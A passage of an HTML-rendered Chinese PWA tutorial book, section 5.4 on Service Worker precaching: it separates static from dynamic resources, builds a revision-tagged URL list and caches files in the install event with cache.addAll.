\n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >5.4 预缓存方案</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;\"><b></b>&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x8BBE;&#x8BA1;\"><b></b>&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x8BBE;&#x8BA1;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x8D44;&#x6E90;&#x5217;&#x8868;&#x83B7;&#x53D6;\"><b></b>&#x8D44;&#x6E90;&#x5217;&#x8868;&#x83B7;&#x53D6;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x65B0;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;&#x4E0E;&#x7F13;&#x5B58;\"><b></b>&#x65B0;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;&#x4E0E;&#x7F13;&#x5B58;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x91CD;&#x540D;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;\"><b></b>&#x91CD;&#x540D;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;&#x5B9E;&#x73B0;\"><b></b>&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;&#x5B9E;&#x73B0;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x65E7;&#x8D44;&#x6E90;&#x7684;&#x6E05;&#x7406;\"><b></b>&#x65E7;&#x8D44;&#x6E90;&#x7684;&#x6E05;&#x7406;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x7684;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;\"><b></b>&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x7684;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x9884;&#x7F13;&#x5B58;&#x793A;&#x4F8B;\"><b></b>&#x9884;&#x7F13;&#x5B58;&#x793A;&#x4F8B;</a></li></ul></ul></div><a href=\"#&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;\"><a name=\"&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;\" class=\"plugin-anchor\" href=\"#&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;</h1>\n<p>&#x4E00;&#x4E2A;&#x7F51;&#x9875;&#x7684;&#x5C55;&#x73B0;&#x6240;&#x4F9D;&#x8D56;&#x7684;&#x8D44;&#x6E90;&#x53EF;&#x4EE5;&#x5927;&#x81F4;&#x5206;&#x4E3A;&#x4E24;&#x7C7B;&#xFF1A;&#x4E00;&#x3001;&#x9759;&#x6001;&#x8D44;&#x6E90;&#xFF0C;&#x6BD4;&#x5982; JS&#xFF0C;CSS&#xFF0C;&#x524D;&#x7AEF;&#x6E32;&#x67D3;&#x7684; HTML &#x6587;&#x4EF6;&#xFF0C;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x4E2D;&#x53EF;&#x80FD;&#x4F7F;&#x7528;&#x5230;&#x7684;&#x5B57;&#x4F53;&#x3001;&#x80CC;&#x666F;&#x56FE;&#x7247;&#x7B49;&#x7B49;&#x3002;&#x5B83;&#x4EEC;&#x7684;&#x4F5C;&#x7528;&#x662F;&#x4FDD;&#x8BC1;&#x9875;&#x9762;&#x7684;&#x524D;&#x7AEF;&#x529F;&#x80FD;&#x548C;&#x6837;&#x5F0F;&#x6B63;&#x5E38;&#x5DE5;&#x4F5C;&#x3002;&#x8FD9;&#x4E9B;&#x8D44;&#x6E90;&#x53EA;&#x6709;&#x5728;&#x7F51;&#x7AD9;&#x66F4;&#x65B0;&#x4E0A;&#x7EBF;&#x7684;&#x65F6;&#x5019;&#x624D;&#x4F1A;&#x53D1;&#x751F;&#x53D8;&#x5316;&#xFF0C;&#x56E0;&#x6B64;&#x5B83;&#x4EEC;&#x7684;&#x5185;&#x5BB9;&#x548C;&#x6570;&#x91CF;&#x90FD;&#x662F;&#x786E;&#x5B9A;&#x4E14;&#x53EF;&#x63A7;&#x7684;&#xFF0C;&#x66F4;&#x65B0;&#x9891;&#x7387;&#x8F83;&#x4F4E;&#xFF0C;&#x91CD;&#x590D;&#x4F7F;&#x7528;&#x7387;&#x9AD8;&#xFF1B;&#x4E8C;&#x3001;&#x52A8;&#x6001;&#x8D44;&#x6E90;&#xFF0C;&#x6BD4;&#x5982;&#x5404;&#x79CD;&#x63A5;&#x53E3;&#x8BF7;&#x6C42;&#x8FD4;&#x56DE;&#x7684;&#x5404;&#x79CD;&#x6570;&#x636E;&#xFF0C;&#x540E;&#x7AEF;&#x6E32;&#x67D3;&#x7684; HTML &#x9875;&#x9762;&#xFF0C;&#x5185;&#x5BB9;&#x4E2D;&#x7684;&#x56FE;&#x7247;&#x3001;&#x89C6;&#x9891;&#x7B49;&#x7B49;&#x3002;&#x5B83;&#x4EEC;&#x66F4;&#x4FA7;&#x91CD;&#x4E8E;&#x9875;&#x9762;&#x7684;&#x5185;&#x5BB9;&#x8868;&#x8FBE;&#xFF0C;&#x56E0;&#x6B64;&#x4F1A;&#x968F;&#x7740;&#x5C55;&#x73B0;&#x5185;&#x5BB9;&#x7684;&#x8C03;&#x6574;&#x800C;&#x4E0D;&#x65AD;&#x53D8;&#x5316;&#x3002;&#x8FD9;&#x4E9B;&#x8D44;&#x6E90;&#x5185;&#x5BB9;&#x53D8;&#x5316;&#x9891;&#x7E41;&#x4E14;&#x4E0D;&#x53EF;&#x63A7;&#xFF0C;&#x91CD;&#x590D;&#x4F7F;&#x7528;&#x7387;&#x4E5F;&#x8F83;&#x4F4E;&#x3002;&#x56E0;&#x6B64;&#x6211;&#x4EEC;&#x5E94;&#x8BE5;&#x5BF9;&#x8FD9;&#x4E24;&#x79CD;&#x8D44;&#x6E90;&#x5206;&#x522B;&#x8FDB;&#x884C;&#x7BA1;&#x7406;&#xFF0C;&#x540C;&#x65F6;&#x9488;&#x5BF9;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x7684;&#x7279;&#x70B9;&#x8BBE;&#x8BA1;&#x51FA;&#x66F4;&#x4E3A;&#x9AD8;&#x6548;&#x7684;&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x3002;</p>\n<h2 id=\"&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x8BBE;&#x8BA1;\"><a name=\"&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x8BBE;&#x8BA1;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x8BBE;&#x8BA1;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x8BBE;&#x8BA1;\" class=\"plugin-anchor\" href=\"#&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x8BBE;&#x8BA1;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x8BBE;&#x8BA1;</h2>\n<p>&#x9996;&#x5148;&#xFF0C;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x7684;&#x7279;&#x70B9;&#x4E4B;&#x4E00;&#x662F;&#x786E;&#x5B9A;&#x6027;&#xFF0C;&#x5728;&#x7F51;&#x7AD9;&#x5F00;&#x53D1;&#x7684;&#x65F6;&#x5019;&#x5C31;&#x5DF2;&#x7ECF;&#x80FD;&#x591F;&#x786E;&#x5B9A;&#x4E0B;&#x6765;&#x3002;&#x5728;&#x524D;&#x9762;&#x4ECB;&#x7ECD;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;&#x65F6;&#xFF0C;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x90FD;&#x662F;&#x5728;&#x8BF7;&#x6C42;&#x88AB;&#x62E6;&#x622A;&#x4E4B;&#x540E;&#xFF0C;&#x7ECF;&#x8FC7;&#x54CD;&#x5E94;&#x7B56;&#x7565;&#x7684;&#x5904;&#x7406;&#x624D;&#x88AB;&#x7F13;&#x5B58;&#x4E0B;&#x6765;&#xFF0C;&#x8FD9;&#x4E2A;&#x7F13;&#x5B58;&#x8FC7;&#x7A0B;&#x662F;&#x88AB;&#x52A8;&#x7684;&#xFF0C;&#x7F13;&#x5B58;&#x7684;&#x751F;&#x6548;&#x65F6;&#x95F4;&#x4E5F;&#x6BD4;&#x8F83;&#x6162;&#x3002;&#x4F46;&#x7531;&#x4E8E;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x5177;&#x6709;&#x786E;&#x5B9A;&#x6027;&#xFF0C;&#x56E0;&#x6B64;&#x53EF;&#x4EE5;&#x4E3B;&#x52A8;&#x83B7;&#x53D6;&#x6240;&#x9700;&#x7F13;&#x5B58;&#x7684;&#x8D44;&#x6E90;&#x5217;&#x8868;&#xFF0C;&#x5E76;&#x4E14;&#x5728; Service Worker &#x5B89;&#x88C5;&#x9636;&#x6BB5;&#x5C31;&#x4E3B;&#x52A8;&#x53D1;&#x8D77;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5E76;&#x7F13;&#x5B58;&#xFF0C;&#x8FD9;&#x6837;&#x4E00;&#x65E6;&#x65B0;&#x7684; Service Worker &#x88AB;&#x6FC0;&#x6D3B;&#x4E4B;&#x540E;&#xFF0C;&#x7F13;&#x5B58;&#x5C31;&#x76F4;&#x63A5;&#x80FD;&#x6295;&#x5165;&#x4F7F;&#x7528;&#x4E86;&#x3002;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x8D44;&#x6E90;&#x9884;&#x53D6;&#x7684;&#x8FC7;&#x7A0B;&#xFF0C;&#x56E0;&#x6B64;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x7684;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x4E5F;&#x79F0;&#x4E3A;&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x3002;</p>\n<p>&#x5176;&#x6B21;&#xFF0C;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x5177;&#x6709;&#x7A33;&#x5B9A;&#x6027;&#xFF0C;&#x5728;&#x4E24;&#x6B21;&#x4E0A;&#x7EBF;&#x671F;&#x95F4;&#x8D44;&#x6E90;&#x5185;&#x5BB9;&#x4E0D;&#x4F1A;&#x53D1;&#x751F;&#x53D8;&#x5316;&#x3002;&#x56E0;&#x6B64;&#x53EF;&#x4EE5;&#x5728;&#x62E6;&#x622A;&#x5230;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x65F6;&#x4F18;&#x5148;&#x8FD4;&#x56DE;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#xFF0C;&#x4ECE;&#x800C;&#x51CF;&#x5C11;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x6570;&#xFF0C;&#x63D0;&#x9AD8;&#x4E86;&#x7F13;&#x5B58;&#x5229;&#x7528;&#x7387;&#xFF0C;&#x5E76;&#x6700;&#x7EC8;&#x83B7;&#x5F97;&#x52A0;&#x5FEB;&#x9875;&#x9762;&#x5C55;&#x73B0;&#x548C;&#x79BB;&#x7EBF;&#x53EF;&#x7528;&#x7684;&#x6548;&#x679C;&#x3002;</p>\n<h2 id=\"&#x8D44;&#x6E90;&#x5217;&#x8868;&#x83B7;&#x53D6;\"><a name=\"&#x8D44;&#x6E90;&#x5217;&#x8868;&#x83B7;&#x53D6;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8D44;&#x6E90;&#x5217;&#x8868;&#x83B7;&#x53D6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8D44;&#x6E90;&#x5217;&#x8868;&#x83B7;&#x53D6;\" class=\"plugin-anchor\" href=\"#&#x8D44;&#x6E90;&#x5217;&#x8868;&#x83B7;&#x53D6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8D44;&#x6E90;&#x5217;&#x8868;&#x83B7;&#x53D6;</h2>\n<p>&#x6846;&#x67B6;&#x578B;&#x8D44;&#x6E90;&#x662F;&#x53EF;&#x63A7;&#x7684;&#xFF0C;&#x5B83;&#x4EEC;&#x5728;&#x8FDB;&#x884C;&#x7F51;&#x7AD9;&#x5F00;&#x53D1;&#x7684;&#x65F6;&#x5019;&#x5C31;&#x80FD;&#x591F;&#x786E;&#x5B9A;&#x4E0B;&#x6765;&#x3002;&#x6BD4;&#x5982;&#x5728;&#x4E0A;&#x4E00;&#x8282;&#x7684;&#x4F8B;&#x5B50;&#x5F53;&#x4E2D;&#xFF0C;&#x5F88;&#x5BB9;&#x6613;&#x5C31;&#x80FD;&#x770B;&#x51FA;&#x5B83;&#x7684;&#x6846;&#x67B6;&#x578B;&#x8D44;&#x6E90;&#x662F; index.html&#x3001;index.css&#x3001;index.js&#xFF1B;&#x5982;&#x679C;&#x662F;&#x5927;&#x578B;&#x524D;&#x7AEF;&#x9879;&#x76EE;&#xFF0C;&#x5982;&#x679C;&#x501F;&#x52A9;&#x4E86; webpack&#x3001;Rollup &#x7B49;&#x524D;&#x7AEF;&#x6784;&#x5EFA;&#x5DE5;&#x5177;&#xFF0C;&#x6700;&#x7EC8;&#x7684;&#x751F;&#x6210;&#x4EA7;&#x7269;&#x4E5F;&#x90FD;&#x5C5E;&#x4E8E;&#x6846;&#x67B6;&#x578B;&#x8D44;&#x6E90;&#xFF0C;&#x901A;&#x8FC7;&#x7B80;&#x5355;&#x7684;&#x6587;&#x4EF6;&#x904D;&#x5386;&#x5C31;&#x80FD;&#x591F;&#x83B7;&#x53D6;&#x8D44;&#x6E90;&#x5217;&#x8868;&#x4FE1;&#x606F;&#x3002;&#x63A5;&#x4E0B;&#x6765;&#x901A;&#x8FC7;&#x8DEF;&#x5F84;&#x6620;&#x5C04;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x83B7;&#x5F97;&#x8D44;&#x6E90;&#x7684; URL &#x5217;&#x8868;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> urls <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>\n  <span class=\"token string\">&apos;/index.html&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token string\">&apos;/index.js&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token string\">&apos;/index.css&apos;</span>\n<span class=\"token punctuation\">]</span>\n</code></pre>\n<p>&#x540C;&#x65F6;&#x7531;&#x4E8E;&#x80FD;&#x591F;&#x76F4;&#x63A5;&#x83B7;&#x5F97;&#x8D44;&#x6E90;&#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x5728;&#x5217;&#x8868;&#x4E2D;&#x6DFB;&#x52A0;&#x8D44;&#x6E90;&#x5185;&#x5BB9;&#x76F8;&#x5173;&#x7684;&#x4FE1;&#x606F;&#xFF0C;&#x6BD4;&#x5982;&#x6587;&#x4EF6; md5&#x3001;&#x6587;&#x4EF6;&#x7248;&#x672C;&#x53F7;&#x7B49;&#x4FE1;&#x606F;&#x4F5C;&#x4E3A;&#x8D44;&#x6E90;&#x7684;&#x9644;&#x52A0;&#x6807;&#x8BC6;&#x3002;&#x901A;&#x8FC7;&#x8FD9;&#x4E9B;&#x6807;&#x8BC6;&#x53EF;&#x4EE5;&#x7528;&#x6765;&#x5224;&#x65AD;&#x8D44;&#x6E90;&#x7684;&#x5185;&#x5BB9;&#x662F;&#x5426;&#x53D1;&#x751F;&#x53D8;&#x66F4;&#xFF0C;&#x4E3A;&#x540E;&#x7EED;&#x8D44;&#x6E90;&#x7BA1;&#x7406;&#x63D0;&#x4F9B;&#x66F4;&#x591A;&#x7684;&#x4FE1;&#x606F;&#x3002;&#x56E0;&#x6B64;&#x4E0A;&#x9762;&#x7684; URL &#x5217;&#x8868;&#x53EF;&#x4EE5;&#x8FDB;&#x4E00;&#x6B65;&#x6539;&#x5199;&#x6210;&#x5982;&#x4E0B;&#x5F62;&#x5F0F;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> resources <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>\n  <span class=\"token comment\">// &#x901A;&#x8FC7; md5 &#x6807;&#x8BC6;</span>\n  <span class=\"token punctuation\">{</span>\n    url<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;/index.html&apos;</span><span class=\"token punctuation\">,</span>\n    revision<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;abc&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  <span class=\"token comment\">// &#x901A;&#x8FC7;&#x6587;&#x4EF6;&#x7248;&#x672C;&#x6807;&#x8BC6;</span>\n  <span class=\"token punctuation\">{</span>\n    url<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;/index.js&apos;</span><span class=\"token punctuation\">,</span>\n    revision<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;1.0.1&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  <span class=\"token comment\">// url &#x76F4;&#x63A5;&#x5305;&#x542B;&#x6807;&#x8BC6;&#x4FE1;&#x606F;</span>\n  <span class=\"token string\">&apos;/index.abc.css&apos;</span>\n<span class=\"token punctuation\">]</span>\n</code></pre>\n<p>&#x5728;&#x83B7;&#x53D6;&#x5230;&#x9700;&#x8981;&#x9884;&#x7F13;&#x5B58;&#x7684;&#x8D44;&#x6E90;&#x5217;&#x8868;&#x4FE1;&#x606F;&#x4E4B;&#x540E;&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#x5F00;&#x59CB;&#x8BBE;&#x8BA1;&#x65B0;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;&#x4E0E;&#x7F13;&#x5B58;&#x3002;</p>\n<h2 id=\"&#x65B0;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;&#x4E0E;&#x7F13;&#x5B58;\"><a name=\"&#x65B0;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;&#x4E0E;&#x7F13;&#x5B58;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x65B0;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;&#x4E0E;&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x65B0;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;&#x4E0E;&#x7F13;&#x5B58;\" class=\"plugin-anchor\" href=\"#&#x65B0;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;&#x4E0E;&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x65B0;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;&#x4E0E;&#x7F13;&#x5B58;</h2>\n<p>&#x4E3A;&#x4E86;&#x80FD;&#x591F;&#x8BA9;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x5728;&#x65B0;&#x7684; Service Worker &#x5B89;&#x88C5;&#x5B8C;&#x6210;&#x65F6;&#x5DF2;&#x7F13;&#x5B58;&#x5B8C;&#x6BD5;&#xFF0C;&#x53EF;&#x4EE5;&#x5C06;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;&#x4E0E;&#x7F13;&#x5B58;&#x7684;&#x8FC7;&#x7A0B;&#x653E;&#x5728; <code>install</code> &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x91CC;&#x6267;&#x884C;&#x3002;</p>\n<p>&#x901A;&#x8FC7;&#x524D;&#x9762; Service Worker &#x751F;&#x547D;&#x5468;&#x671F;&#x7684;&#x5B66;&#x4E60;&#x6211;&#x4EEC;&#x77E5;&#x9053;&#xFF0C;Service Worker &#x5B89;&#x88C5;&#x9636;&#x6BB5;&#x53EA;&#x4F1A;&#x89E6;&#x53D1;&#x4E00;&#x6B21; <code>install</code> &#x4E8B;&#x4EF6;&#xFF0C;&#x4E00;&#x65E6;&#x5B89;&#x88C5;&#x5B8C;&#x6210;&#x4FBF;&#x4E0D;&#x4F1A;&#x91CD;&#x590D;&#x89E6;&#x53D1;&#xFF0C;&#x53EA;&#x6709;&#x5728; Service Worker &#x6587;&#x4EF6;&#x5185;&#x5BB9;&#x51FA;&#x73B0;&#x53D8;&#x5316;&#xFF0C;&#x6216;&#x8005;&#x4E3B;&#x52A8;&#x8C03;&#x7528; <code>ServiceWorkerRegistration.update()</code> &#x7684;&#x60C5;&#x51B5;&#x4E0B;&#x624D;&#x4F1A;&#x89E6;&#x53D1; Service Worker &#x7684;&#x91CD;&#x65B0;&#x5B89;&#x88C5;&#x3002;&#x540C;&#x65F6;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;&#x4E0E;&#x7F13;&#x5B58;&#x8FC7;&#x7A0B;&#x53EF;&#x80FD;&#x7531;&#x4E8E;&#x7F51;&#x7EDC;&#x539F;&#x56E0;&#x5BFC;&#x81F4;&#x7F13;&#x5B58;&#x5931;&#x8D25;&#xFF0C;&#x5728;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x4E0B;&#x9700;&#x8981;&#x4E2D;&#x65AD; Service Worker &#x7684;&#x5B89;&#x88C5;&#x8FC7;&#x7A0B;&#xFF0C;&#x7B49;&#x5F85;&#x9875;&#x9762;&#x4E0B;&#x6B21;&#x88AB;&#x8BBF;&#x95EE;&#x7684;&#x65F6;&#x5019;&#x91CD;&#x65B0;&#x89E6;&#x53D1;&#x5B89;&#x88C5;&#x8FC7;&#x7A0B;&#x3002;&#x56E0;&#x6B64;&#x52A0;&#x8F7D;&#x65B0;&#x8D44;&#x6E90;&#x7684;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">self<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;install&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  event<span class=\"token punctuation\">.</span><span class=\"token function\">waitUntil</span><span class=\"token punctuation\">(</span><span class=\"token function\">cacheAll</span><span class=\"token punctuation\">(</span>cacheName<span class=\"token punctuation\">,</span> urls<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5176;&#x4E2D; <code>cacheAll()</code> &#x65B9;&#x6CD5;&#x53EF;&#x4EE5;&#x5229;&#x7528; Cache API &#x63D0;&#x4F9B;&#x7684; <code>addAll()</code> &#x65B9;&#x6CD5;&#x7B80;&#x5355;&#x5B9E;&#x73B0;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">cacheAll</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">cacheName<span class=\"token punctuation\">,</span> urls</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> caches<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span>cacheName<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">cache</span> <span class=\"token operator\">=&gt;</span> cache<span class=\"token punctuation\">.</span><span class=\"token function\">addAll</span><span class=\"token punctuation\">(</span>urls<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h3 id=\"&#x91CD;&#x540D;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;\"><a name=\"&#x91CD;&#x540D;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x91CD;&#x540D;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a 